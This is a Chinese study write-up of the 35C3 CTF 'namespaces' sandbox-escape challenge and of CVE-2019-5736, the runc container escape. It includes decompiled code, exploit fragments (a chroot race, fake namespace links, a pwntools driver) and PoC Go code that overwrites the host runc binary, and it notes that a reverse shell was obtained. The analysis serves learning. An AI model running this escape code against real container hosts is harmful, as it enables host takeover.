CTF Pwn namespaces与CVE-2019-5736

1. CTF-Pwn-namespace

1) 问题简述

关于这道题目请见:https://github.com/LevitatingLion/ctf-writeups/tree/master/35c3ctf/pwn_namespaces

这道题目给定了一个DockerFile文件和二机制文件namespaces,该文件用来搭建一个主机的环境,并且该“主机”上还会运行nsjail,这是一种容器服务程序.

FROM tsuro/nsjail
COPY ./namespaces /home/user/chal
COPY tmpflag /flag
CMD /bin/sh -c "/usr/bin/setup_cgroups.sh && cp /flag /tmp/flag && chmod 400 /tmp/flag && chown user /tmp/flag && su user -c '/usr/bin/nsjail -Ml --port 1337 --chroot / -R /tmp/flag:/flag -T /tmp --proc_rw -U 0:1000:1 -U 1:100000:1 -G 0:1000:1 -G 1:100000:1 --keep_caps --cgroup_mem_max 209715200 --cgroup_pids_max 100 --cgroup_cpu_ms_per_sec 100 --rlimit_as max --rlimit_cpu max --rlimit_nofile max --rlimit_nproc max -- /usr/bin/stdbuf -i0 -o0 -e0 /usr/bin/maybe_pow.sh /home/user/chal'"

nsjail是一种进程隔离工具,我们可以将容器的本质理解成一种设置了各种资源限制与隔离属性的进程.

根据给定的DockerFile,我们可以得出一些比较重要的基本信息(从CMD中):

所以简而言之,我们用DockerFile所创建的容器(也就是改题目所需要的主机环境),会通过nsjail运行一个沙箱,而这个沙箱所运行的程序就是namespaces.所以接下来,我们需要了解namespace会干什么.

2) 逆向分析

下面对namespaces进行逆向分析,首先是namespaces的主程序:

image-20221111195129175

首先,我们可以通过!getuid作为条件,可以推知,该进程是在root权限(是容器内部的root)之下运行的.因此我们完全将此进程视为一个守护进程.然后在while循环内部,内部的第一个while(1)会等待从标准输入接收一个整型read_int,将此值返回到v5.得到也就是用户输入的数字.比如说“1”或者“2”.

如果接收到的是“1”,那么将会调用start_sandbox,如果输入的是“2”的话,就会调用run_elf.因此我们的关注点将会在start_sandboxrun_elf这两个函数中.

下面是start_sandbox,首先顾名思义,这应该是“启动沙箱”的意思.其逆向的代码如下:

unsigned __int64 start_sandbox()
{
  int v0; // eax
  unsigned int v1; // ST0C_4
  int v2; // eax
  int v3; // eax
  int v4; // eax
  int v5; // eax
  signed int i; // [rsp+4h] [rbp-103Ch]
  unsigned int v8; // [rsp+8h] [rbp-1038h]
  char *v9; // [rsp+10h] [rbp-1030h]
  int fds[2]; // [rsp+18h] [rbp-1028h]
  const char *v11; // [rsp+20h] [rbp-1020h]
  __int64 v12; // [rsp+28h] [rbp-1018h]
  char s[8]; // [rsp+30h] [rbp-1010h]
  __int64 v14; // [rsp+38h] [rbp-1008h]
  char v15; // [rsp+40h] [rbp-1000h]
  unsigned __int64 v16; // [rsp+1038h] [rbp-8h]
  v16 = __readfsqword(0x28u);
  v9 = 0LL;
  for ( i = 0; i <= 9; ++i )  // 首先从沙箱数组中,寻找一个没有被分配的过的
  {
    if ( !sandboxes[i] )
    {
      v9 = (char *)&sandboxes[i];
      break;
    }
  }
  if ( !v9 )  // 如果找不到未被分配过的
    errx(1, "too many sandboxes");
  *(_QWORD *)fds = 0LL;
  v0 = socketpair(1, 1, 0, fds); // 创建一个无名套接字
  check(v0, "socketpair");
  v8 = new_proc();  // 创建一个新的子进程.
  if ( !v8 )  // 子进程执行
  {
    close(fds[0]);
    write(fds[1], "1", 2uLL);
    wait_for((unsigned int)fds[1], "2");
    puts("Please send me an init ELF.");
    v1 = load_elf("Please send me an init ELF.");
    *(_QWORD *)s = 0LL;
    v14 = 0LL;
    memset(&v15, 0, 0xFF0uLL);
    snprintf(s, 0x1000uLL, "/tmp/chroots/%ld", (v9 - (char *)sandboxes) >> 2);
    printf("[*] Creating chroot dir \"%s\"\n", s);
    mk_chroot_dir(s);
    printf("[*] Chrooting to \"%s\"\n", s);
    v2 = chroot(s);
    check(v2, "chroot");
    v3 = chdir("/");
    check(v3, "chdir");
    puts("[*] changing group ids");
    v4 = setresgid(1u, 1u, 1u);
    check(v4, "setresgid");
    puts("[*] changing user ids");
    v5 = setresuid(1u, 1u, 1u);
    check(v5, "setresuid");
    write(fds[1], "3", 3uLL);
    close(fds[1]);
    puts("[*] starting init");
    v11 = "init";
    v12 = 0LL;
    execveat(v1, &unk_210F, &v11, 0LL, 4096LL);
    _exit(1);
  }
  close(fds[1]);
  wait_for((unsigned int)fds[0], "1");
  puts("[*] setgroups deny");
  write_proc(v8, "setgroups", "deny");
  puts("[*] writing uid_map");
  write_proc(v8, "uid_map", "1 1 1");
  puts("[*] writing gid_map");
  write_proc(v8, "gid_map", "1 1 1");
  write(fds[0], "2", 2uLL);
  wait_for((unsigned int)fds[0], "3");
  close(fds[0]);
  *(_DWORD *)v9 = v8;
  return __readfsqword(0x28u) ^ v16;
}

在这个函数中,首先会从一个沙箱数组中分配一个沙箱,返回到v9中,如果已经满了(超过9个),就不会成功返回,之后创建一个无名套接字,该套接字用来给父进程(它自己)和将要创建的子进程进行进程间通信(主要是传输ELF文件).之后创建处子进程后,!v8代表的是子进程要执行的逻辑,见而言之,首先从创建的无名套接字中等待并接受ELF文件(即init ELF).

至此,我们可以明确,在执行start_sandbox时会需要并执行一个init ELF文件的.

之后,构建该沙箱对应的根目录路径的字符串,然后创建该目录并且切换到该目录上.

先调用chroot,在该进程对于文件系统的根目录就成了/tmp/chroots/....,然后切换目录到根目录.

之后在对该子进程执行一系列的降权操作,调用setresgid,setresuid等等,从0降为1,也就不再是root权限的了.然后在子进程中通过exec执行init ELF文件中的内容.执行完之后就退出.

在if大括号外边,只有父进程会执行,其中主要的关注点还是在于其执行的一系列降权操作.因此可以说执行init的子进程和父进程都会最后进行降权操作.其中*(_DWORD *)v9 = v8;是需要关注的细节,我们至此可以猜测,sandbox数组是一个指针数组,关于v8也就是new_proc的返回值是否是子进程我是比较疑惑的,根据所找的资料似乎返回的是父进程(init)的pid而非子进程

之后,我们再来分析run_elf函数.其逆向代码如下:

unsigned __int64 __fastcall run_elf(__int64 a1)
{
  __pid_t v1; // eax
  unsigned int v3; // [rsp+8h] [rbp-38h]
  unsigned int fd; // [rsp+10h] [rbp-30h]
  unsigned int *v5; // [rsp+18h] [rbp-28h]
  const char *v6; // [rsp+20h] [rbp-20h]
  __int64 v7; // [rsp+28h] [rbp-18h]
  unsigned __int64 v8; // [rsp+38h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  v5 = get_sandbox();
  v3 = *v5;
  fd = load_elf(a1);
  v1 = fork();
  if ( !(unsigned int)check(v1, "fork") )  // 子进程执行
  {
    change_ns(v3, (unsigned int)(v5 - sandboxes));
    v6 = "bin";
    v7 = 0LL;
    execveat(fd, &unk_210F, &v6, 0LL, 4096LL);
    _exit(1);
  }
  close(fd);
  return __readfsqword(0x28u) ^ v8;
}

在此函数中,会通过调用get_sandbox来检索出执行该elf文件的沙箱(指针,也就是之前start过的,保存在数组里的).然后打开elf文件.之后再调用fork创建出一个子进程,在下面的if分支中,对应的就是子进程要执行的代码.对于fork出来的子进程,首先调用change_ns仅从一些namespace的设置操作,直至完之后执行elf文件,之后退出.

下面来分析change_ns,该函数是这个问题的重点:

unsigned __int64 __fastcall change_ns(unsigned int a1, unsigned int a2)
{
  int v2; // eax
  int v3; // eax
  int v4; // eax
  __pid_t v5; // eax
  int v6; // eax
  int v7; // eax
  int v8; // eax
  int v9; // eax
  unsigned int i; // [rsp+18h] [rbp-1018h]
  int fd; // [rsp+1Ch] [rbp-1014h]
  char s[8]; // [rsp+20h] [rbp-1010h]
  __int64 v14; // [rsp+28h] [rbp-1008h]
  char v15; // [rsp+30h] [rbp-1000h]
  unsigned __int64 v16; // [rsp+1028h] [rbp-8h]

  v16 = __readfsqword(0x28u);
  printf("[*] entering namespaces of pid %d\n", a1);
  for ( i = 0; i <= 5; ++i )
  {
    snprintf(s, 0x1000uLL, "/proc/%d/ns/%s", a1, (&NSS)[i]);
    v2 = open(s, 0);
    v3 = check(v2, "open(ns)");
    fd = v3;
    v4 = setns(v3, 0);
    check(v4, "setns");
    if ( !strcmp((&NSS)[i], "pid") )
    {
      v5 = fork();
      if ( check(v5, "fork") )
        _exit(0);
    }
    close(fd);
  }
  *(_QWORD *)s = 0LL;
  v14 = 0LL;
  memset(&v15, 0, 0xFF0uLL);
  snprintf(s, 0x1000uLL, "/tmp/chroots/%d", a2);
  v6 = chroot(s);
  check(v6, "chroot");
  v7 = chdir("/");
  check(v7, "chdir");
  v8 = setresgid(1u, 1u, 1u);
  check(v8, "setresgid");
  v9 = setresuid(1u, 1u, 1u);
  check(v9, "setresuid");
  return __readfsqword(0x28u) ^ v16;
}

其中核心的部分,在于设置namespace的for循环.这个循环会将之前fork出的子进程进行namespace的设置.其中构造表示ns的文件路径字符串时,需要用到a1,a1是什么呢?a1来源于之前run_elf中get_sandbox的返回值(指针)对应的值,也就是之前我们创建的沙箱时,fork出来的子进程的pid.所以说,run_elf中子进程的namespace设置,来源于对应的start_sandbox中子进程的namespace.其中,可以发现NSS中是没有“net”的(说实话,这个地方我不知道怎么看出来的,我并没有把NSS数组中内容逆出来).所以至此,可以确定的是网络资源并没有做出隔离.

在对pid相关namespace进行设置时,会创建出一个新的子进程对当前的子进程进行一个“调包”.

之后,执行一些降权操作,该子进程不再是root权限.

3) 攻击思路

至此,关于namespace二进制程序的分析就到这里了,那么该如何展开攻击呢?

(1) 文件描述符的传递

通过上面的分析,我们可以明确,网络资源是没有隔离的,也就是意味着不同的沙箱之间在网络资源上是共享的.更具体地说,这可以使得两个沙箱的本地IP实际上就是同一个,因此同一个端口1337,如果网络资源在不同的沙箱之间是隔离的,那么1337对于不同的沙箱而言并不是同一个端口,但如果没有隔离,就意味着不同的沙箱视角下的1337端口,完全就是同一个.比如说,沙箱0在本地1337端口上监听,那么沙箱1对本地1337端口发起连接,就正是沙箱0所监听的本地端口1337.因此,两个沙箱可以自如地利用TCP来进行通信.

此外,我们还可以考虑某个沙箱将自己所处的根目录打开并返回文件描述符后,将该传递给另一个沙箱,另一个沙箱借助openat等系统调用对文件描述符进行操作.

openat,unlinkat,symlinkat等API的作用?

int openat(int, const char *, int, ...)

主要的参数是一个表示文件描述符的整型和一个表示相对文件路径的字符串,可以以文件描述符所处的路径为基地址,然后以该字符串为相对地址作为地址偏移,进而对该文件打开.至于unlinkat,symlinkat等系统调用是与之类似的.因此可以通过打开的根目录文件描述符,再通过相对地址,进而可以对根目录之外的文件进行访问.

为什么一个沙箱不自己调用openat等API对该文件描述符操作,而是非得传递给另一个沙箱呢?

如果一个沙箱自己就可以通过这类系统调用接口完成对某个根目录外的文件访问,那么之前对于文件系统的隔离设置岂不就是没用了?因此可以说,由于文件系统资源的隔离,一个沙箱不能通过openat来完成此类操作.后来我写了份代码进行测试,发现进行chroot之后的进程,可以通过openat打开chroot之外的文件(也就是基目录描述符是chroot之外的).其测试代码如下:

int in_fd = open(IN_DIR, 0);
int out_fd = open(OUT_DIR, 0);
chroot(IN_DIR);
chdir("/");
// 通过之前打开的当前根目录之外的目录作为基地址
if (openat(out_fd, "../install.sh", 0) < 0) { // ok
    printf("out:打开失败: %d\n", errno);
}
// 将根目录作为基地址,并且尝试用openat访问外部文件
if (openat(in_fd, "../install.sh", 0) < 0) {  // error
    printf("in:打开失败: %d\n", errno);
}

因此,如果我们可以知道沙箱0并不能借助openat访问自己根目录外的文件,但是沙箱1却可以得到沙箱0的根目录描述符进而借助openat访问到外部的文件.

如何跨越进程地传递文件描述符?

根据操作系统的知识,一个进程对于打开的文件维护一个文件表项,每个表象在该进程下都有一个整型表示为难描述符,还有一个指向底层文件inode的指针.如果两个进程打开了同一个文件,那么这个文件在不同进程的文件描述符未必一样,但是其inode指针必然是指向同一个的.

image-20221112104659881

正如图中所示,利用借助unix socket以“辅助消息”(Ancillary messages)的方式在指定类型为SCM_RIGHTS时发送和接收文件描述符,其本质上是传递该文件描述符所对应的表项(指针),而非单纯的“文件描述符(fd)”.因此不同进程中对于该文件的fd未必是同一个.

因此首先想到沙箱0对本地1337端口进行监听,然后沙箱1对1337发起连接,将沙箱0的文件描述符传递给沙箱1,沙箱1因此可以借助openat等系统调用来对此根目录之外的文件进行访问.

(2) 如何提权为root?

但除此之外,还是不够的,回忆之前我们对于namespaces程序的分析,在正式地执行init elf之前,该进程已经降权而不再是root用户了,对于flag这种权限为400的来说,是没有足够的权限访问的,因此我们接下来需要考虑的是怎样提升为root.

怎样提升权限为root呢,也就是说如何阻止降权操作的执行呢?回忆之前分析的代码,可知start_sandbox和run_elf分别对应docker中的init和exec操作,对于start_sandbox中,前者会在执行init elf之前就完成降权,而run_elf在设置完namespace以后再降权,对于一个沙箱,其生命周期中,往往先执行start_sandbox在执行run_elf.我们可以发现,如果想要阻碍init elf中的降权操作,基本上没有什么可行性.因此主要考虑阻碍run_elf中的降权操作.

利用ptrace进行代码覆盖

ptrace可以为一个进程(tracer)监视和控制另一个进程(tracee).

ptrace可以对某一个进程中内存或者寄存器进行重写,这可以使得我们可以将一部分我们不愿执行的代码在内存中被擦除,被换成我们想要执行的代码.其中该系统调用如下:

#include <sys/ptrace.h>
long ptrace(enum _ptrace_request request,pid_t pid,void * addr ,void *data);

结合上面介绍的的ptrace,我们可以想到,如果一个run_elf的子进程可以被另一个进程调用ptrace进行重写就可以达到目的了.但是这样一个tracer应该是谁呢?

可以想到,如果让一个start_sandbox中的子进程作为一个tracer来对后来的对应的run_elf中的子进程调用ptrace进行控制,不就可以了吗?

但此时还是存在一个问题的,ptrace其中有一个参数为pid,这就要求tracer和tracee处于同一个pid namespace中.然而正常情况下,在namespace的设置中,其run_elf所处namespace并不是start_sandbox中的子进程,而是init进程本身.

(3) 将tracer和tracee置于同一个pid namespace

之前传递文件描述符的动作发生在沙箱0和沙箱1中,这一步则发生在沙箱2中.更确切地说时沙箱2的start_sandbox中.

这里的方法是,将后来setns中,所用的namespace进行调包,snprintf(s, 0x1000uLL, "/proc/%d/ns/%s", a1, (&NSS)[i]);,也就是这个path的所指向的实际内容.我们需要借助的是start_sandbox中的init elf.其中exp脚本和elf源代码有关的内容如下:

int init = get_cur_pid();
info("Init pid: %d", init);  // 准确地说init进程指的是start_sand执行fork得出的一个进程
new_namespaces();  // 创建一份新的namespace
info("Forking");
if (CHECK_CALL(fork)) {  // fork出一个子进程
    info("Parent done");
    do_sleep();  // 父进程进入sleep
}
info("Child started");
int child = get_cur_pid();  // 获取子进程的pid
info("Child pid: %d", child);

set_trap_for_join(init, child);  // 设置proc中的命名空间

其中关于set_trap_for_join:

static void set_trap_for_join(int init_pid, int child_pid) {
    makedir("/tmp/oldproc_" STR(RAND));  // 创建tmp下的/tmp/oldproc以及/tmp/newproc并挂载到/proc下
    bindmount("/proc", "/tmp/oldproc_" STR(RAND));
    makedir("/tmp/newproc_" STR(RAND));
    bindmount("/tmp/newproc_" STR(RAND), "/proc");

    DECL_STR(dir1, "/proc/%d", init_pid)  // 创建init进程对应的ns文件夹
    makedir(dir1);
    DECL_STR(dir2, "/proc/%d/ns", init_pid)
    makedir(dir2);

    DECL_STR(linkpath, "/proc/%d/ns/pid", init_pid)  //
    DECL_STR(target, "/tmp/oldproc_" STR(RAND) "/%d/ns/pid", child_pid)
    info("Linking pid ns \"%s\" -> \"%s\"", linkpath, target);
    CHECK_CALL(symlink, target, linkpath);  // 创建一个到init进程的子进程的pid ns的软连接

    DECL_STR(fifo, "/proc/%d/ns/uts", init_pid)  // 创建一个fifo
    info("Creating fifo \"%s\"", fifo);
    CHECK_CALL(mkfifo, fifo, 0755);
}

简而言之,在执行init elf的子进程中,会首先将当前的/proc拷贝到/tmp/oldproc中,并且创建一个新的/tmp/newproc并将其挂在到当前的/proc,然后在/proc下创建好一些和namespace有关的文件.主要在于将/tmp/oldproc_/[init子进程]/ns/pid链接到/proc/[init进程]/ns/pid中.因此之后,在设置namespace的过程中,所谓的“init进程的namespace”文件实际上是被我们调包之后的结果,即init子进程的namespace.因此这样可以确保run_elf将会与init子进程处于同一个pid空间之中.

但其实还有一个问题.关于namespace的创建.

(4) 从chroot中逃逸

在这里采用了竞态攻击的方法,这个动作应该发生在(3) pid namespace等操作之前,也就是说使得沙箱2在start_sandbox进行chroot时,其所切换到的root并不是正常情况下,该沙箱所对应的根目录,而是主机的根目录.

怎么实现呢?我们可以参考exp代码:

static void do_recvfd(void) {
    int fd = setup_socket_and_recv_fd();
    info("Starting race");
    while (unlinkat(fd, "../2", AT_REMOVEDIR))
        ;
    CHECK_CALL(symlinkat, "/", fd, "../2");
    info("Race done");
    close(fd);
}

这一段代码是沙箱1在run_elf中执行的,接受到文件描述符后,借助unlinkat对沙箱2对应的根目录文件夹进行处理,当沙箱2的根目录被创建之后,理想的情况下,此根目录就会被unlink,进而将“/”,也就是整个文件的根目录都链接到“沙箱2的根目录上”.因此沙箱2的根目录被掉包到了宿主机根目录上.

(5) 串联起来

我们根据exp代码就可以直观地将攻击过程串联起来:

r = remote('localhost', 1337)
    r.recvuntil('> ', timeout = 100)
    hook_recv(r)

    # start sandbox 0 and 1
    for _ in xrange(2):
        start_sandbox('sleep')
        r.recvuntil('[sleep]  Started sleep')

    # send fd in sandbox 0
    run_file(0, 'sendfd')
    r.recvuntil('[sendfd]  Accepting')

    # recv fd in sandbox 1, race creation of chroot for sandbox 2
    run_file(1, 'recvfd')
    r.recvuntil('[recvfd]  Starting race')

    # start sandbox 2, hope we win the race
    # inside sandbox 2, set a trap for the next process joining sandbox 2
    start_sandbox('escalate')
    r.recvuntil('[escalate]  Waiting for victim to join')

    # let a process join sandbox 2 to escalate to root
    run_file(2, 'sleep')

总结成表格如下:

时间线 沙箱0 沙箱1 沙箱2
T1 start_sandbox(sleep) start_sandbox(sleep)
T2 发送沙箱0的根目录文件描述符 接收来自沙箱0的文件描述符;对沙箱2的根目录轮询,unlink后,建立到宿主机根目录的软链接
T3 start_sandbox(escalate),会切换被掉包的root路径;进行init子进程的一些关于pid namespace的操作.
T4 执行run_elf,将和之前init子进程处于同一个pid namespace;之前init子进程被“唤醒”,用ptrace注入代码.最后攻击完成

4) 复现效果

image-20221112133739719

总的来说,这个漏洞的攻击过程还是相当复杂的,内部有许多系统底层细节有关的知识,难度也是挺大的,我还有一些地方至今也未能完全明白.

2. CVE-2019-5736

1) 漏洞原理

结合对源代码的简要分析,简而言之,runc run或者runc exec的过程可以分为如下几步:

runc会创建一个runc init的子进程,创建的关键细节如下:

cmd := exec.Command("/proc/self/exe", "init")
cmd.Args[0] = os.Args[0]
cmd.Stdin = p.Stdin
cmd.Stdout = p.Stdout
cmd.Stderr = p.Stderr
cmd.Dir = c.config.Rootfs

也就是说runc init子进程是通过/proc/self/exec为蓝本,在加额外的一个命令行参数init创建的一个子进程.

/proc伪文件系统

/proc伪文件系统是保存在内存上的,而非disk,通过该文件系统可以对一个系统中运行中的进程进行观察,可以访问一些与某进程相关的内核数据结构等等.比如说在某个命名空间下的一个进程pid,那么可以通过/proc/[pid]/所在的目录之下,观察到与该进程相关的信息.

/proc/self/exe

我们可以通过/proc/[pid]/exc获取到该进程对应的二进制文件.相对于一般的符号链接,有一些不同.内核不会像其他的符号连接一样通过解析文件路径的方式去检索该文件,而是有专门的处理函数处理并直接返回其文件描述符.可以跨越mount_namespaces带来的限制.

通过上面知识的补充,我们可以知道,即使runc init再后来会进行mount_namespaces的隔离设置,但借助/proc/self/exe仍然可以绕过这些限制,获取到runc对应的二进制文件.

此外,runc init最终会落实到下面的命令:

if err := system.Exec(name, l.config.Args[0:], os.Environ()); err != nil {
    return fmt.Errorf("can't exec user process: %w", err)
}
return nil

最终仅仅是调用了system.Exec,对runc init进程的内容进行替换.

总的来说runc的过程就如图(图片引用自zyleo's Blog)所示:

image-20221116134610837

因此,如果能使得system.Exec执行的仍然是/proc/self/exe,然后在该容器中就可以从/proc伪文件系统下检索到“/proc/self/exe”对应的进程,然后就可以通过/proc获取到runc程序对应的文件句柄,执行修改操作,修改成我们想要运行的恶意程序,当runc在此被运行时,就会运行我们构造的恶意程序,达成攻击效果.

为什么非得在容器中运行一个runc程序,而非在execve中直接获取/proc/self/exe并进行修改呢?

这一点我比较疑惑.

2) poc程序分析

(1) 重写/bin/sh

// First we overwrite /bin/sh with the /proc/self/exe interpreter path
fd, err := os.Create("/bin/sh")
if err != nil {
    fmt.Println(err)
    return
}
fmt.Fprintln(fd, "#!/proc/self/exe")
err = fd.Close()
if err != nil {
    fmt.Println(err)
    return
}

此时,我们已经处于容器之中,以上做的是将“/bin/sh”二进制文件的内容重写成“#!/proc/self/exe”.修改之后,运行“/bin/sh”时就会运行“/proc/self/exe”对应的二进制文件.此操作的目的在于,我们需要在该容器内在运行出一个runc进程,一旦用户执行docker(runc) exec ... /bin/sh,就会在容器里运行一个runc进程.

(2) 轮询/proc找到runc进程

var found int
for found == 0 {
    pids, err := ioutil.ReadDir("/proc")
    if err != nil {
        fmt.Println(err)
        return
    }
    for _, f := range pids {
        fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
        fstring := string(fbytes)
        if strings.Contains(fstring, "runc") {
            fmt.Println("[+] Found the PID:", f.Name())
            found, err = strconv.Atoi(f.Name())
            if err != nil {
                fmt.Println(err)
                return
            }
        }
    }
}

这一段代码的目的在于,轮询/proc,当知道cmdline前缀有“runc”的为止.

/proc/[pid]/cmdline

表示的是该进程的命令行参数,相当于argv的内容.

(3) 获取/proc/[pid]/exe对应的文件句柄并修改

    // We will use the pid to get a file handle for runc on the host.
    var handleFd = -1
    for handleFd == -1 {
        // Note, you do not need to use the O_PATH flag for the exploit to work.
        handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
        if int(handle.Fd()) > 0 {
            handleFd = int(handle.Fd())
        }
    }
    fmt.Println("[+] Successfully got the file handle")

    // Now that we have the file handle, lets write to the runc binary and overwrite it
    // It will maintain it's executable flag
    for {
        writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
        if int(writeHandle.Fd()) > 0 {
            fmt.Println("[+] Successfully got write handle", writeHandle)
            writeHandle.Write([]byte(payload))
            return
        }
    }
}

打开/proc/[pid]/exe,返回其文件描述符,然后将payload的内容写到该文件里的,也就完成了对runc程序的修改,之后在运行runc程序,就会出发payload.

3) 复现过程

  1. 首先运行一个容器.
image-20221116165321361
  1. 然后将main.go(poc)程序编译好之后拷贝到容器中
image-20221116165411177
  1. 攻击方监听某个端口准备就绪.

image-20221116164045188

  1. 运行poc程序
image-20221116165504096
  1. 等待exec /bin/sh的执行
image-20221116165755304
  1. 反弹shell建立
image-20221116165833693

攻击方执行一些命令:

image-20221116164718848
image-20221116164735411

攻击成功.

4) 漏洞修复

其修补方式在于当runc init进程进入到容器命名空间之前,首先将/proc/self/exe复制到内存中,使得当前/proc/self/exe所指向的文件句柄是复制的匿名文件,而非宿主机上的runc文件.

image-20221116174614170
image-20221116174640734

这样即使使用同样的方式进行攻击,也不会对宿主机上的runc程序产生任何影响.

Reference

容器逃逸成真:从CTF解题到CVE-2019-5736漏洞挖掘分析

Docker runc(CVE-2019-5736)漏洞分析-第三版